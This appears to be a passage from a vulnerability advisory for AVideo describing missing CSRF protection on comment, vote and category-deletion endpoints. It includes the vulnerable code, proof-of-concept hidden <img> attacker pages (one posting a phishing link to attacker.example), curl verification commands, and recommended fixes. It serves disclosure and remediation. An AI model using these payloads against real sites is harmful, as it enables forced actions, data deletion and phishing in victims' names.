WWBN AVideo: Missing CSRF Protection on State-Changing JSON Endpoints Enables Forced Comment Creation, Vote Manipulation, and Category Asset Deletion

2. objects/commentAddNew.json.php — CSRF → forced comment posting

// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35:     $obj->msg = __("Permission denied");
36:     die(json_encode($obj));
37: }
...
117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']);
118: $objC->setComments_id_pai($_REQUEST['comments_id']);
...
124: $obj->comments_id = $objC->save();

All inputs come from $_REQUEST, so GET is fully supported. The only gate is User::canComment(), which is true for ordinary logged-in users. isCommentASpam() (lines 39–97) is a per-session rate limiter, not a CSRF defense — it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's users_id via $objC->save().

3. objects/categoryDeleteAssets.json.php — CSRF → forced deletion of category assets

// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$_REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17:     $obj->msg = __("Permission denied");
18:     die(json_encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22:     $obj->error = false;
23: ...

State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of <img> tags — every one fires a credentialed request.

Root cause (shared)

All three endpoints follow the same pattern: objects/*.json.php handler that (a) reads mutating parameters from $_REQUEST/$_GET, (b) performs authorization against the victim's session, and (c) writes to the database — without calling forbidIfIsUntrustedRequest(), without validating a CSRF token, and without any SameSite mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.

PoC

Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site <img>/top-level GETs.

Variant A — comments_like.json.php (force a downvote on comment id 10)

Attacker page:

<img src="https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10'
# → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments_likes` with users_id = victim.

Variant B — commentAddNew.json.php (force victim to post a phishing comment on video 123)

Attacker page:

<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123'
# → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...}

Variant C — categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Attacker page (enumerate several ids):

<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">

Manual verification:

curl -b 'PHPSESSID=<category-admin-session>' \
  'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.

Impact

• Integrity of social signals: Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts like=-1|0|1, arbitrary vote states can be forced.
• Identity abuse via forced comments: An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
• Data loss: Any user with canCreateCategory() who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of <img> tags can cover the full category space in one page load.

No special configuration is required; AVideo's default session cookie lacks a SameSite=Lax/Strict protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.

Recommended Fix

1. Call the existing forbidIfIsUntrustedRequest() helper at the top of every mutating objects/*.json.php handler (the same pattern already used in objects/userUpdate.json.php):

// objects/comments_like.json.php (add near line 9)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/commentAddNew.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

// objects/categoryDeleteAssets.json.php (add after configuration.php include)
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
forbidIfIsUntrustedRequest();

2. Require $_SERVER['REQUEST_METHOD'] === 'POST' (or DELETE) for state-changing operations and stop promoting $_GET['comments_id'] → $_POST['comments_id'] in comments_like.json.php:15-17.

3. Validate a per-session CSRF token on all mutating endpoints using the existing isGlobalTokenValid() / getToken() helpers (objects/functions.php:2313), rejecting requests whose globalToken is missing or invalid.

4. As defense in depth, set the session cookie with SameSite=Lax (or Strict) in the AVideo session initialization, so cross-site navigational GETs do not carry the session cookie even if a handler regresses.

Applying (1) alone closes all three reported variants; (2)–(4) harden the surface against variants of the same pattern in other objects/*.json.php handlers.